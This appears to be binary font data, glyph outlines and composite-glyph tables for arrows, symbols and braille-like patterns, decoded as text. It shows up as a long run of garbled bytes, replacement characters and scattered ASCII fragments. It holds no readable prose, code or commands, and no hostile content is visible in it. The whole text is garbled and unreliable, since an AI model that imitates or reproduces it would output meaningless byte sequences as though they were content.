+!	!335#$  '&'&'&5476767��hn�����o\��|~<??<~|������|~<??<~|����������@>}~������~}>@@>}~������~}>	���=!?67632#"'&'32654'&#"!5  '&'&'&5476767CA@A����VMLHS�K��tu�#$##�\��|~<??<~|������|~<??<~|�=���|}�'���mn%�@>}~������~}>@@>}~������~}>	���=,J2#"&5476.#"32654'&#"67632  '&'&'&5476767Pm@??@ml�@@�C|=⇆nmϵ�ih�VGG/TU�<|=�\��|~<??<~|������|~<??<~|�+KJ��KK���JK�����ӟ�޸�nm%&E�ll�@>}~������~}>@@>}~������~}>	���=$!35$  '&'&'&5476767�>�h����\��|~<??<~|������|~<??<~|�@���fE�@>}~������~}>@@>}~������~}>	���=
$0N2"'&476' 654'&'>54& 74632#"&  '&'&'&5476767YtBBBC�BBBB/t����BAuht���t-tihvvhit0\��|~<??<~|������|~<??<~|��=>lk>>>=�>=E�s����sOO�g����g��]hh]\hh�@>}~������~}>@@>}~������~}>	���=.L%3276'&#"32767#"&'"'&547632  '&'&'&5476767!C>?=ↆmmд�hi�VHG.TU�<|=Al@@@@lm@??@��\��|~<??<~|������|~<??<~|����/��޸�ml%%D�klgKJ��JKKJ��JK�@>}~������~}>@@>}~������~}>	���=
%C2#"&5476$  '!5##7  '&'&'&5476767�e22dedd22��TUUTB�U��¡����\��|~<??<~|������|~<??<~|��{z������z{�����ӟ�>-/��g��#&�%�q @>}~������~}>@@>}~������~}>u�Pj	!!5!!P���p��#��@��p�p�pt�	7%�����F�N����4�NGu�P85	z��D��<2�2p�J�J�t�	'-Z�K�����F����G�NuP�!!u��\l������E�>�~~�>uu�2"&'&'&5476?!".'&47>3!'&'&54767>2	�p4,
		���,$
		
$,��		
,4��2�p
�"2"�
�pu�P8!5!	���%��JZP��J�Ju�P8!5!	���%��J�H�J�Ju�P8#3#3#3!!5	���xx�<<�o���J���p��p��p��J�Ju�P855!#3#3#3������oP��xx�<<���΄��ΊX��X��X��Xu�}~	!!�����~�����PD!	6����>l������>�>��PD	!	��D�R�>l������>�>�P	B��l�����v�vu�Pb3!5	5!"'&'&'&u##+*15��J��1*+##��0+*%!�J�J�!%*+u�P847676763!5	5!"u##+*15��J��1*+##�0+*%!�J�J�!%*+0���!!	^��r{��VXe�o�ou�P855!���D��q���΄��Ξ0u�j%5!!53		!<�9�����h�9�����>����u�j%5!!53		!<�9����h�9�����>����+Z�!73#57!!+ I�d�&��+ъ����������2�&����+Z�5!'53#'!!!+����d�������I���|��&�2���������2�
!'!'!53	!�O��dcn�d����h��������������2�
3#5!7!!!	�n�d�n��d;��c��h����������dd�!53#'5!'!	!�]n�2�n2��2�r-��h���J��d�c;dJ�����dd�7!573#5!!	!�2+2n�2�n���r-��h��LJd;c�d��J�����<����!6767632#"'&'&'!	<'CZmo~yti^Z...*^Vqo~yti^?)X�6nGCZ.//+]Yon�zqi_X0//+]>I��ʞ	�BP�"&*.37#37#37#37#5!!!!3'#3'#3'#3'#�<���<���<���<�x�����í�y���_<�<(<�<(<�<(<�<Z��������P��������h��������pt>7&#"7'7	!%��*��BF��8����WU�{�FC��*��9o�X�:�W��ubP�55!5!!'!���������X����X����dd��PR������t�'327''	!!i�FB��*��8����X:�����*��CF��9����XU��pt>2%&#"6767&'&"67632&'&547676767t��BEHY'��#&N'$�X$)./,0+"""� /%Hp*G&/�$##*0,0.+"�W!'&'&#��'ZGGC�uaP�/4767!"!47676763"'&'&'&5!3!&'&5P��%�T)#$��"/*11*/"X$#)�%��e�eZ'&$(0+.!"-+0($&'Ze����t�2&'&'&'&54767#"'&'2767&'&'32t)H%���X"""+0,0-+"�$'N&#/'YHEB����CGGZ'��!&'&'$�W"+.0,0*##"�/&Gs�PX+B6%"'&'&'&547676$47676762"'&'&'&'&'&547676762$/�+�z>�_$#R#af����#R#)�>x��bQu���R$'�68�" ��vc�<�.676767632#"'&'&'&%&'&54767&'&5476�A ''+/54<3���o�8n23'9%%b��b%�&:?$ fLLf#&#/:&'+-23-+'�rr�'+-32-+�V2�e"'&'.54?654'&'&'&#!"#!".4?64/&4676763!23!276767654/&546767622�	��Z��rrd	Z	���	c�
��
�c	���2g"'&'.54?654'&'&'&+"#!".4764'&4676763!2;276767654/&546767622�pW\x�j���	�\W����	��
 4
���	��u�P^+#76767&'&/3#6767!5!!5!&'&'P�S�Jl
R�&GG&�R
lH�S��i*���n:

:n�**�OU��ä'66'����U��=;JHd��)�))��dHJ;=��&$*'$4767654#"'67323267	h5�� 2S:G]����"	�L##��H	(,��Q	>�1����L�%!�<����(&$7327$76545476;&#""j##T*q	(��	�:^�
D�89h���H�,�dzI/��1�O����N2��S�#�u		!	!����
���j�.u���-1��������	3%!#3!����<�����������Zdd��d�����#3	!73#7i���������<�������dZd���-3#�˪�5i����p�p���h	#3h�5��i���p��������'PTP������'QTQ[[�	'#'#'##'��x\x�xjjx�x\x��,x\�e���hh�P8���\x�Y��Y�73373737+�.x\x�xjjx�x\x�.�x\��8�Phh����e�\x�,��lE=072767>54'&'&'&"7#7676767632#"'&�w@RN�JV<BB!#@@RN�JV<B!�x�xZ�vx�$0YTtg��lqWZ/../ZSug��lj!x?#!!';B�]YQS@?#!!';BQ9?�x�v�x�`XqYS4..0WYqp{pqYS4..-O|�T<#"'&'&'&54767676327#7&'&'&'&"2767n^jl��gtTY0..0YXpl��gtTY0$�x�vZ�xx�!B<VJ�NR@@#!BB<VJ�NR@1Z-..4SYqp{pqYW0..4SYqX`�x�v�x�?9QB;'!!#?@SQY]�B;'!!#?u���$%9M'7! &'&'&'#536767> !'7$"!3!&'&'&'!#!2767676�wx�!1cb���bc1!��
"1cb��bc1"
`�x���]\LM&	���	&ML\;�R��R
&ML\]�]\LM&�Z�wx�ZQvcbddbcvQZ�[RwcbddbcwR[�xV''LM\7=e��=7\ML'���e;6\ML''''LM\6d�8	��	
���2@	@@	00	]1@
	`
��99��0@		`	�<<@`�<<�KSX�	<<�`		�`�Y5!!d�x�	��y�xUZ�x��xu�8	��	
���2@	OO	__	]1@
	`
��99��0@		`	�<<@`�<<�KSX�	<<�`		�`�Y'7!5!'7�wx�y	��x�Z�wx��xd�8ڶ
	��2��2@
PP_
_O
O]1@
	
`
��9�2�20@

`�<<@`�<<@

	`		
�<<@`�<<�KSX�
<<<<�`�`�`

	�`�Y5!'7'7!d�x���x��wx��xUZ�x��x�wZ�wx��xd�8!!5!!�	s�]x�w�x]���ix]x�Z�x]xiu�87'!5!'7'7!5	�ii���]x��wx]�iix]x�wZ�wx]xd�8!7'!!5!'7'�Xii��iI��]x�w�x]h]x��wxiii�]x�Z�x]]x�wZ�wxd�8
!5!3#
Y�#�x�w�x�ݪ�-�x�Z�x�Y��u�8
#3!'7'7����x��wx�-��\���x�wZ�wx�d�8
!5!53#5!
Y��]x�w�x]Q���7ii�]x�Z�x]��E�iiu�8
!'7'7!#3!7'Q]x��wx]�����iic]x�wZ�wx]�\���iiu�8%77777773'7'7#'''''''uF������������F��x��wx�cn������������F�F������������F�x�wZ�wx�n������������F��,X@�,��,�X
�,���,�X@'�,�,���,�X��,���,�X@'�,�,���,�X
'�,��,���,�X@'�,'�,��,�����@����,�@'�,����,��@'�,�����,��@'�,'�,�����,��@'�,�����,��@'�,'�,�����,��@'�,�'�,�����,��@'�,'�,�'�,��������
�����,��@'�,�����,��
'�,������,��@'�,'�,������,��
'�,������,��@'�,'�,������,��
'�,�'�,������,��@'�,'�,�'�,���������@'�������,��@'�,'�������,��@'�,�'�������,��@'�,'�,�'�������,��@'�,�'�������,��@'�,'�,�'�������,��@'�,�'�,�'�������,��@'�,'�,�'�,�'����������������,��@'�,�����,��
'�,������,��@'�,'�,������,���'�,������,��@'�,'�,������,��
'�,�'�,������,��@'�,'�,�'�,���������@'�������,��@'�,'�������,��@'�,�'�������,��@'�,'�,�'�������,��@'�,�'�������,��@'�,'�,�'�������,��@'�,�'�,�'�������,��@'�,'�,�'�,�'����������
'��������,��@'�,'��������,��
'�,�'��������,��@'�,'�,�'��������,��
'�,�'��������,��@'�,'�,�'��������,��
'�,�'�,�'��������,��@'�,'�,�'�,�'�����������@'��'��������,��@'�,'��'��������,��@'�,�'��'��������,��@'�,'�,�'��'��������,��@'�,�'��'��������,��@'�,'�,�'��'��������,��@'�,�'�,�'��'��������,��@'�,'�,�'�,�'��'��������,�pX���,�p��,�pX@'�,�,�p��,�pX
'�,��,�p��,�pX@'�,'�,��,�p��,�pX�'�,��,�p��,�pX@'�,'�,��,�p��,�pX
'�,�'�,��,�p��,�pX@'�,'�,�'�,��,�p��,�p�@'���,�p��,�p�@'�,'���,�p��,�p�@'�,�'���,�p��,�p�@'�,'�,�'���,�p��,�p�@'�,�'���,�p��,�p�@'�,'�,�'���,�p��,�p�@'�,�'�,�'���,�p��,�p�@'�,'�,�'�,�'���,�p��,�p�
'����,�p��,�p�@'�,'����,�p��,�p�
'�,�'����,�p��,�p�@'�,'�,�'����,�p��,�p�
'�,�'����,�p��,�p�@'�,'�,�'����,�p��,�p�
'�,�'�,�'����,�p��,�p�@'�,'�,�'�,�'����,�p��,�p�@'��'����,�p��,�p�@'�,'��'����,�p��,�p�@'�,�'��'����,�p��,�p�@'�,'�,�'��'����,�p��,�p�@'�,�'��'����,�p��,�p�@'�,'�,�'��'����,�p��,�p�@'�,�'�,�'��'����,�p��,�p�@'�,'�,�'�,�'��'����,�p��,�p��'����,�p��,�p�@'�,'����,�p��,�p�
'�,�'����,�p��,�p�@'�,'�,�'����,�p��,�p��'�,�'����,�p��,�p�@'�,'�,�'����,�p��,�p�
'�,�'�,�'����,�p��,�p�@'�,'�,�'�,�'����,�p��,�p�@'��'����,�p��,�p�@'�,'��'����,�p��,�p�@'�,�'��'����,�p��,�p�@'�,'�,�'��'����,�p��,�p�@'�,�'��'����,�p��,�p�@'�,'�,�'��'����,�p��,�p�@'�,�'�,�'��'����,�p��,�p�@'�,'�,�'�,�'��'����,�p��,�p�
'���'����,�p��,�p�@'�,'���'����,�p��,�p�
'�,�'���'����,�p��,�p�@'�,'�,�'���'����,�p��,�p�
'�,�'���'����,�p��,�p�@'�,'�,�'���'����,�p��,�p�
'�,�'�,�'���'����,�p��,�p�@'�,'�,�'�,�'���'����,�p��,�p�@'��'���'����,�p��,�p�@'�,'��'���'����,�p��,�p�@'�,�'��'���'����,�p��,�p�@'�,'�,�'��'���'����,�p��,�p�@'�,�'��'���'����,�p��,�p�@'�,'�,�'��'���'����,�p��,�p�@'�,�'�,�'��'���'����,�p��,�p�@'�,'�,�'�,�'��'���'����,�p����p������p��,�p�@'�,���p��,�p�
'�,����p��,�p�@'�,'�,����p��,�p��'�,����p��,�p�@'�,'�,����p��,�p�
'�,�'�,����p��,�p�@'�,'�,�'�,����p����p�@'�����p��,�p�@'�,'�����p��,�p�@'�,�'�����p��,�p�@'�,'�,�'�����p��,�p�@'�,�'�����p��,�p�@'�,'�,�'�����p��,�p�@'�,�'�,�'�����p��,�p�@'�,'�,�'�,�'�����p����p�
'������p��,�p�@'�,'������p��,�p�
'�,�'������p��,�p�@'�,'�,�'������p��,�p�
'�,�'������p��,�p�@'�,'�,�'������p��,�p�
'�,�'�,�'������p��,�p�@'�,'�,�'�,�'������p����p�@'��'������p��,�p�@'�,'��'������p��,�p�@'�,�'��'������p��,�p�@'�,'�,�'��'������p��,�p�@'�,�'��'������p��,�p�@'�,'�,�'��'������p��,�p�@'�,�'�,�'��'������p��,�p�@'�,'�,�'�,�'��'������p����p��'������p��,�p�@'�,'������p��,�p�
'�,�'������p��,�p�@'�,'�,�'������p��,�p��'�,�'������p��,�p�@'�,'�,�'������p��,�p�
'�,�'�,�'������p��,�p�@'�,'�,�'�,�'������p����p�@'��'������p��,�p�@'�,'��'������p��,�p�@'�,�'��'������p��,�p�@'�,'�,�'��'������p��,�p�@'�,�'��'������p��,�p�@'�,'�,�'��'������p��,�p�@'�,�'�,�'��'������p��,�p�@'�,'�,�'�,�'��'������p����p�
'���'������p��,�p�@'�,'���'������p��,�p�
'�,�'���'������p��,�p�@'�,'�,�'���'������p��,�p�
'�,�'���'������p��,�p�@'�,'�,�'���'������p��,�p�
'�,�'�,�'���'������p��,�p�@'�,'�,�'�,�'���'������p����p�@'��'���'������p��,�p�@'�,'��'���'������p��,�p�@'�,�'��'���'������p��,�p�@'�,'�,�'��'���'������p��,�p�@'�,�'��'���'������p��,�p�@'�,'�,�'��'���'������p��,�p�@'�,�'�,�'��'���'������p��,�p�@'�,'�,�'�,�'��'���'������p��,�p���'�,�p���p��,�p�@'�,'�,�p���p��,�p�
'�,�'�,�p���p��,�p�@'�,'�,�'�,�p���p��,�p��'�,�'�,�p���p��,�p�@'�,'�,�'�,�p���p��,�p�
'�,�'�,�'�,�p���p��,�p�@'�,'�,�'�,�'�,�p���p��,�p�@'��'�,�p���p��,�p�@'�,'��'�,�p���p��,�p�@'�,�'��'�,�p���p��,�p�@'�,'�,�'��'�,�p���p��,�p�@'�,�'��'�,�p���p��,�p�@'�,'�,�'��'�,�p���p��,�p�@'�,�'�,�'��'�,�p���p��,�p�@'�,'�,�'�,�'��'�,�p���p��,�p�
'���'�,�p���p��,�p�@'�,'���'�,�p���p��,�p�
'�,�'���'�,�p���p��,�p�@'�,'�,�'���'�,�p���p��,�p�
'�,�'���'�,�p���p��,�p�@'�,'�,�'���'�,�p���p��,�p�
'�,�'�,�'���'�,�p���p��,�p�@'�,'�,�'�,�'���'�,�p���p��,�p�@'��'���'�,�p���p��,�p�@'�,'��'���'�,�p���p��,�p�@'�,�'��'���'�,�p���p��,�p�@'�,'�,�'��'���'�,�p���p��,�p�@'�,�'��'���'�,�p���p��,�p�@'�,'�,�'��'���'�,�p���p��,�p�@'�,�'�,�'��'���'�,�p���p��,�p�@'�,'�,�'�,�'��'���'�,�p���p��,�p��'���'�,�p���p��,�p�@'�,'���'�,�p���p��,�p�
'�,�'���'�,�p���p��,�p�@'�,'�,�'���'�,�p���p��,�p��'�,�'���'�,�p���p��,�p�@'�,'�,�'���'�,�p���p��,�p�
'�,�'�,�'���'�,�p���p��,�p�@'�,'�,�'�,�'���'�,�p���p��,�p�@'��'���'�,�p���p��,�p�@'�,'��'���'�,�p���p��,�p�@'�,�'��'���'�,�p���p��,�p�@'�,'�,�'��'���'�,�p���p��,�p�@'�,�'��'���'�,�p���p��,�p�@'�,'�,�'��'���'�,�p���p��,�p�@'�,�'�,�'��'���'�,�p���p��,�p�@'�,'�,�'�,�'��'���'�,�p���p��,�p�
'���'���'�,�p���p��,�p�@'�,'���'���'�,�p���p��,�p�
'�,�'���'���'�,�p���p��,�p�@'�,'�,�'���'���'�,�p���p��,�p�
'�,�'���'���'�,�p���p��,�p�@'�,'�,�'���'���'�,�p���p��,�p�
'�,�'�,�'���'���'�,�p���p��,�p�@'�,'�,�'�,�'���'���'�,�p���p��,�p�@'��'���'���'�,�p���p��,�p�@'�,'��'���'���'�,�p���p��,�p�@'�,�'��'���'���'�,�p���p��,�p�@'�,'�,�'��'���'���'�,�p���p��,�p�@'�,�'��'���'���'�,�p���p��,�p�@'�,'�,�'��'���'���'�,�p���p��,�p�@'�,�'�,�'��'���'���'�,�p���p��,�p�@'�,'�,�'�,�'��'���'���'�,�p���pd�?8
!5!53#5!��s]x�w�x]�����ii�]x�Z�x]��E�iiu�P8
!'7'7!#3!7'�]x��wx]�s��iic]x�wZ�wx]�\���ii��	3'#'##-Z-x\x�x�x\�.��x\�n
�#����\����733737#x\x�x�x\x��Z'x\�����#�
�n\x��O�'�=%"'&'&'&767670327676764'&'&'&�pk_V1..1Vbr�x�`Xk_V1..1V_kpI�x��XE?#!!';B�]YQS@?#!!';BQ9�.-\ZnllnZ_.�x�$-\Znl�lnZ\-.)�xF!F@RN�JV<BB!#@@RN�JV<B!O�'�<%"'&'&'&7676767'732676764'&'&''�{pk_V1..1V_kX`�x�rbV1..1V_kp�?9QB;'!!#?@SQY]�B;'!!#?EX��x�.-\ZnllnZ\-$�x�w._Znl�lnZ\-.)!B<VJ�NR@@#!BB<VJ�NR@F!��x��?&54767%#";!"'&54?654'&+7326?>3m>#.4�x
.��=��5�f�"�5���E+.+�>>��.+��(���?3�5E�Q214	'@7FСBndW��0>,6,dJ.e?U�>.C":�s��ݓH���?'&'676?7&54?65%!2;#"#!73267654'&+�*��?�.2.4�y.���E+.+�>>��.+���5�f�"�5o##>7K�0�F	48��D.�5G�P2�J-e?U�<.B":�t��ݔdX��?+7,�2��	
	5	1������V����d�����22��h���'�
%#3	5'���
�����:������'�
73	٪L^����8bb�:����'B	7�''�ٛ�>���P��Nq�����'B	'�''�ٛ�>���P��Nq^�D��'B	�''��>���P��N��'B%		'���''�t��N�����P���'B5		5�''����b�N��P�����#�u	���u���-��3!3!!#!#!5�L�3�ͨ������-��-�Ӫ��-��-���333333#######5�������Ϩ������-��-��-�Ӫ��-��-��-�:�k��7!!  767654'&'$  $'&'&547676h0��8����rtrrtr��@��rtrrtr��
�V��GFFG�����r����GFFG����;:rs�죟��sr:;;:rs��sr:����Ŭ����������ɪ���:�k��3?  767654'&'$  $'&'&547676!!#!5!�����rtrrtr��@��rtrrtr��
�V��GFFG�����r����GFFG����s��s�B;:rs�죟��sr:;;:rs��sr:����Ŭ����������ɪ���K�s��s���:�k��3?  767654'&'$  $'&'&547676			'	�����rtrrtr��@��rtrrtr��
�V��GFFG�����r����GFFG��]��x�3�w�3�2x�3B;:rs�죟��sr:;;:rs��sr:����Ŭ����������ɪ����3�x�2�3w�3x���u�M
%'�J'�%&��ot�M�#5!676&'&!!'&'&'77�SOJMG7�9G��!SOJMG7�9G ,��FCD4����
��M�FCD4����t�M�+5!676&'&!!!!'&'&'77!5!7�$SOJMG7�9G����SOJMG7�9G����@�FCD4����٨��FCD4���Ϊ�t�M�#%'&'&'775%676&'&oC��SOJMG7�9G��JSOJMG7�9G�����m�FCD4��������FCD4���t�M�09%'&'&'77&'&54767676&'&&'67'WSOJMG7�9G]InoSuSOJMG7�9G�Iq(P >6�=,HK%����FCD4���1Io��sV<�GCD4�����)�AH!�+p$��.JhgH$t�M.F'&'&'77&'&'&'&53676&'&6767>='73'�64D#'SOJMG7�9F	F25f'&1,SOJMG6�9G+4$(']H�6�H\GLCD55���FCD4���M	25DCL802&&��FCD4����x$'a8]H��H]t�M�'3#!!676&'&!!'&'&'7���w��SOJMG7�9F	9��
SWBMG6�9G����r0��FCD4����������FJ	
<-��t�M�53#676&'&'&'&'77767654'&���c)SOJMG7�9GcBnnVsSOJMG7�9F	(6oBEGM��~äGCD4�����K|��oU���FCD4����BDkt=Bt�Mp=3#767654'&676&'&632#"''&'&'77���mofdKHGEkyJ?*UOJMG7�9G;D�blmo�WISOJMG7�9G-��E6HFgjJG*$Q]�GCD4�����oz��lo!���FCD4���3>t�M�A3#654'&#"32676&'&'&'&'77&'&54767���HGCljHHHGkb�SOJMG7�9GcBnnVsSOJMG7�9G]InoSu��/EgjJEHIhgHH��GCD4�����K|��oU���FCD4���1Io��sVt�M�#'+7!676&'&!!'&'&'773!#3�;SOJMG7�9G��SWBKI6�9G
���ū���I�FCD4������ޥFJ	
</���	t�����MmA6767&'&'!'&'&'77!5!676&'&!2#~-/��!SOJMG7�9F	 �ܻ`��;`�*SOJMG6�9G4'.$$%(*1_21�I�FCD4�����`:H:`�*�FCD4����� %*+0..+#$t�M�)''&'&'77'7'7676&'&7���x�SOJMG7�9G�z��x�SOJMG7�9G�E��x���FCD4����y��x�إFCD4����X�t�M�34767676&'&#4'&''&'&'77#�VEySOJMG7�9G
Z>Vy4--SOJMG7�9G-A 4y�hT+�FCD4�����Ea��8�J'�J�FCD4����2P���t�M�3'&'&'77&'&53676&'&67653jVDwSOJMG7�9G\?Vy4.+SOJMG7�9G*> 4yr�iR���FCD4���LFa�I�ȢJ(��FCD4�����1P�8u�M��>2&#""&'7327!5���~�9GA��~�9G��⧅}�������}���g��k�b�>2&#""&'73275!���~�9GA��~�9G��⧅}�������}����Р���?��������j'X$������j'X@$'X�W����
5	5������F�Ѷe�����Ѧ����
55�����FѶ�/�/��/�m�����&�X/�������&�X������'&�X���'&�X���&�X/����
&�X������N;B%#"'&'&'&#"5>32326#"'&'&'&#"5>32326	5�j�bn�
�^X�bh�`n�
�^V�hj�bn�
�^X�bh�`n�
�^V�g�@���P�NE;=LT�NE;=K��PD:<LR�ND:<J^���p�o���N;B%#"'&'&'&#"5>32326#"'&'&'&#"5>3232655�j�bn�
�^X�bh�`n�
�^V�hj�bn�
�^X�bh�`n�
�^V��e���P�NE;=LT�NE;=K��PD:<LR�ND:<J^����������!!'7!5!	5��Z��Z�
N��@����P���P��N���p�o���!!'7!5!55��Z��Z�
N������P���P��N��������_�N6=#"'3267#"/'7&#"5>327&#"56767326	5�j�bDS4�WV�hj�bm�\�Y@/X�bh�`ES3�VX�bhZmM�p[�Y@1V�g�@�����PD�4KU�NE;�@�LT�NE�4LR�N"*,�@�J^���p�o�_�N5<#"'3267#"/'7&#"5>327&#"5>32732655�j�bDS4�WV�hj�bm�\�Y@/X�bh�`ES3�VX�bh�`n�[�Y@1V��e�����PD�4KU�NE;�@�LT�NE�4LR�ND:�@�J^����������T
5!5!-5	!5!����u����u��������/�0��\��^�Ҳ�Ъ��~����T
-55!55!�u���������s��Ҳ�Ъ��᪪��/�0�������N%#"/&'&#"5>32326!!	5�j�an��^X�bh�`n��^V��f���@�����PD:<KS�ND:
<J�l�����p�o��N%#"/&'&#"5>32326!!55�j�an��^X�bh�`n��^V��f�������PD:<KS�ND:
<J�l�����������!(#"/&'&#"5>323265-5�i�an��^X�bi�an��^V�g�����su������OE;=LS�NE;	=KJ�/�0��:�Ҳ�Ъ����!(#"/&'&#"5>32326-5	5�i�an��^X�bi�an��^V��eu����������OE;=LS�NE;	=KJ�Ҳ�Ъ����/�0���,��
-55!55!�u���������s%�Ҳ�Ъ��᪪(�/�0��٪��,��
5!5!-5	!5!����u����u������%�/�0��\�~�Ҳ�Ъ��^��6��
5	5	-55����u����u������/�0��V/�����Ҳ�Ъ��а/��6��
-555	5�u��������u����Ҳ�Ъ��۰/��'�/�0��K/������&
	55������p�/���ѦѶ�����&
5	5�������p��/���om��/��/�����&&�X/�����&&�X�������{
5!5	5!����@��Ѫ����o�p���9�����{
!5!	5	!5!������@����Ѫ��������������555������@��p��N�p����o�p�������	55	5��������@���p����p����U��������)$.#"#"&'532767676325�h�V^�
�n`�hb�X^�
�nb�j���@�TL><FN�TL><FN�E�o�p����0�)$.#"#"&'53276767632	5�h�V^�
�n`�hb�X^�
�nb�j����?���TL><FN�TL><FN�d����������%,5!5!.#"#"&'532767676325���h�V^�
�n`�hb�X^�
�nb�j���@>���֪��VJ<:DN�TL<:DN�D�o�p�������%,5!5!.#"#"&'53276767632	5���h�V^�
�n`�hb�X^�
�nb�j����@��>���֪��VJ<:DN�TL<:DN�D�������f�� $!!!5!676762!!&'&'&!!����C.8�d
6WY�YV7
�e8-�;��Z�{+DD\�93[2332[0<�[EC,�����W7!!%5$������$����}�y����]]���x��|����W%!5505%$����}���$y����|�����]]���W!!'7!5!%5$��Z��Z�
N����$����}�qP���P����]]���x��|����W!!'7!5!55%$��Z��Z�
N����}���$qP���P����|�����]]�	�K75!5!%5$������!:���[�]3���֪�k��-Q��tX�Vv�	�K75!5!55$%$�����]��[��:!��3���֪�k��V�X���Q-�q�K!5!7!5!7!!!!'%5$&���`��ȉ�)P�"_=�6�����!:���[�]�s��s1�s��t���-Q��tX�Vv�q�K!5!7!5!7!!!!'55$%$&���`��ȉ�)P�"_=�6����]��[��:!���s��s1�s��t���V�X���Q-�y��;F#"'&'&'&#"5>76326#"'&'&'&#"5>327>%5$�i�an�
�^X�bi�b`��^V�gi�an�
�^X�bi�an�
�OO�g���!:���[�](�NE;=LT�N9A=K��OE;=LS�NE;CE��-Q��tX�Vv�y��;F#"'&'&'&#"5>76326#"'&'&'&#"5>327>55$%$�i�an�
�^X�bi�b`��^V�gi�an�
�^X�bi�an�
�OO��e]��[��:!��(�NE;=LT�N9A=K��OE;=LS�NE;CE���V�X���Q-����6A#"'3267#"/'7&#"5>327&#"56767326%5$�j�bDS4�WV�hj�bm�\�Y@/X�bh�`ES3�VX�bhZmM�p[�Y@1V�g���!:���[�]$�PD�4KU�NE;�@�LT�NE�4LR�N"*,�@�J��-Q��tX�Vv����6A#"'3267#"/'7&#"5>327&#"5676732655$%$�j�bDS4�WV�hj�bm�\�Y@/X�bh�`ES3�VX�bhZmM�p[�Y@1V��e]��[��:!��$�PD�4KU�NE;�@�LT�NE�4LR�N"*,�@�J���V�X���Q-����7	5������@������p�p����p�o����%5555�������������i������������
'	'!�]�#��\e��#�����N\�#��]x���#L� ��
�
!77	!	���\ݿ�#�������#N��]�#�����#����4�
!7	7:\�#��]x���#L�]ݿ�#\e��L�#�1 4

%'''	!�]ݿ�#\e��L�#�1�\ݿ�#]��j����#�7�P~	%	!	!!5	5!3��!��������
�
����������������
7�?~%	!!3��������*^V	!!^����*����^��V�!!!^����������'	'!���#�������#L� ��
�!	 �����#���#����4�%7	7��#L�4��L�#�1 4
	! ��L�#�1����#�7�P~	%	!	!3��!���߆������^��V	!	!!	!E����������C��u��R�#7!5!7�Z�xx�/{�x�x���:�xu-R	'!5!'��x���x��vx�:��x�H��%�7!!7�vx�{�/�x�x�x�ƪ���x�vH-%3'!!'�Z�x����x�vx����x���%!%!!��W7�� ��r����%!!!��W7�� ������%!!,7��r�<�R �����%!!c��r�<�R ���!%	v����
��dxx������!%	�u��
���������!%	!	�uv�}
����x����!%!	����
��x��������%	
#)-17#535#5#5#5##5#5#5##5##53#5#5#5##5��qrrrr�����Mrq�����r�rrrr�rr�tr������$tttt��rttttt��rt��������tr�$���#	!$VV�����m���$���#	!	!�z�0��VV�������O�m�����Ff�			vv����r��5��k�k����\��S���S��Ff�7	����\��S���S"����	!	�R�[��RG���p��($  %p��������@�*����X�֖�M���M	:l���L����F M���M			��N� l��������V����F ����3!!!!!!#737#73Z�b[��[��K�!�_l���������~�,�����S3###737#7333#j��l�l����n�n������,���8�Ȑ����#3327673#"'!!&'&#"#>32Zʍ
&}�[Z�!�_�
&}�[�,	%$R���/�	%$R��6��!2+##7332676'&+!Z�jk++����uʽ���(���>?��)[�qr��qq��ϐ�ђ��IIАt�f��*#&'&+;#"&! %327676'&+�=/-(~�u.;<x�f&)(�?!M�5��*TS����WX>=���HD��h�01���KK��m�؍]]=CD��BC����&+4;#7 ''7&7676;7&'&#"76763273763276?	=}�!Rhg��PQ�*$���)�	F�`_`]!mcbZ�a�P�#�B9�p5c�qr#��e9`���f01<}N�V{�``�E.�'r�O�s+A��x.ml�)��3{ �2�B��333#;#"'&'##73�=0.��ҡ��<s���B
��Pi��=���3�͏�o�N�P��r�>��W����7>���!#6'&#"#3>323#踃./|�hi {�/�wV�u�LL-f�U���OO__�����edwx��LW����%3###3!p�_�>E����"�z����A�1��w�H>���33	3###m����Hv�U�78�2k��i��E�L#������!!#!7!#��m�_�>�=��g՚�o�A����c`!!#!7!�j ��lS�7�} Q�e`���R�%s��	�  73#7# !2|o��*o��gr-���-g�����������E:E^�+焀����`�f��!!+73267##�-�E-��5��M!D��&�˺��������������2��
%!#3!3��������>�����R�������%7#36$3$!"&654'&'"2�-�"�-g��TD�Y����4U���85V��(���焀֌�hx���U��p]�b�����p]�b�E�{0#3632#76&"�
��ç��ރ��Ar1m��`�T�ῆrr:T*f	��	##3367632#76&#"Y��?��T�E.�E� Hh��DC�
A.*1!�����&G@\\[n�y6P(0Q{67632#76&"##33�'En����Ar1
�q�?�\�K�<��<�V=`��rr:T*����j`��j��P��%63#76?676#"�<]�5ʌQ���d�&5A��
	-�M21��]@�/���2U�Pn44�%8��!#3!j�"��"�w��9��T�`!#3!��d�ڸZW��`�3q���h
'"27676'&'2#"'&7673�A�^th+'?4�aj51��Ƿ�hj57�~� FIn$&?8q�;ˑ�Rh]��p[���������m�Ns��sg�.�i���!7!"'732676&+732B"���%6$5X��%y:i���=>)��
�#˾l�a�`b��q��v{ &"26  & 6763267�L�oK�o��M��k��������'$Bn��G)
 a_^�\\h8����9����`MG8]_2BI[b
`!7!!7!!7
�/I�
�;��`���x�-����}�Ygt�d[���33 ������D�@���6���D.#";#"./&'&'&'73267654'&/&'&7476$32�&h�_��$.�u�T=
*���pg�F!?"K`j2�(
,$sw)n�r��(7�v�S;	&D�i���76�v?$/"0hMq/5�pYwnI�'O8�-
!/�EF�~F,>-`Dk+1��&�����3#"./&+7!7!l!�'Wn|:�Bq}��g!��rpb�r����'O8�?�����o
_�nI}�~�`#76#"32632#76##"3$32a�!+j���z.s��Z�I �  4Y����Jɿ*���+��������₂��1/�����_ # $733>76&7#"733%3�R+)������%���l�%T�e��+���*r�#��-xў����D|Hv`�Q��~����"�a_##"$?332676&76#"#3$32�-���Ұ��	�����
�7�+h���r���)d��*�����˟�YP[y����f����P������u	.63 ?# 6%#"?3327632#767$�.���<w/��7�)���ca8�*\�.��IB��a�
u{�i'\Q� �(���dc��Ze~�PA45Gx=%'��	��]��_#6#"#3$32���+i�����ؿ+���*�f�����������2�*_#6#"#3$32$32#6#"���+h��Ц��&���)~��)����+o��ڳ�g�����_������Q,���Xy����$6#"72767#"7#"?3;73$32+i��NJ#_ԁr!�A����*�����jW�����++���Ά8B~�BA��D��k6�Y��`y_	"6#"3%$32#6#"#7#"73$32�.e����-r�Nj{��*���*h���׸3�f��6�.���,���
